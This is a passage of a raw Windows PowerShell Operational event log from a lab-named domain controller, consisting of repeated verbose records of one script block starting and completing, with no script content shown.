Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468357
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468356
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468355
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468354
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468353
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468352
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468351
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468350
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468349
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468348
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468347
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468346
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468345
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468344
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468343
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468342
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468341
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468340
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468339
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468338
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468337
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468336
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468335
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468334
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468333
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468332
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468331
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468330
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468329
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468328
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468327
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468326
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468325
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468324
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468323
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468322
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468321
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468320
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468319
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468318
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468317
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468316
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468315
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468314
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468313
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468312
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468311
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468310
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468309
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468308
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468307
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468306
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468305
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468304
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468303
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468302
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
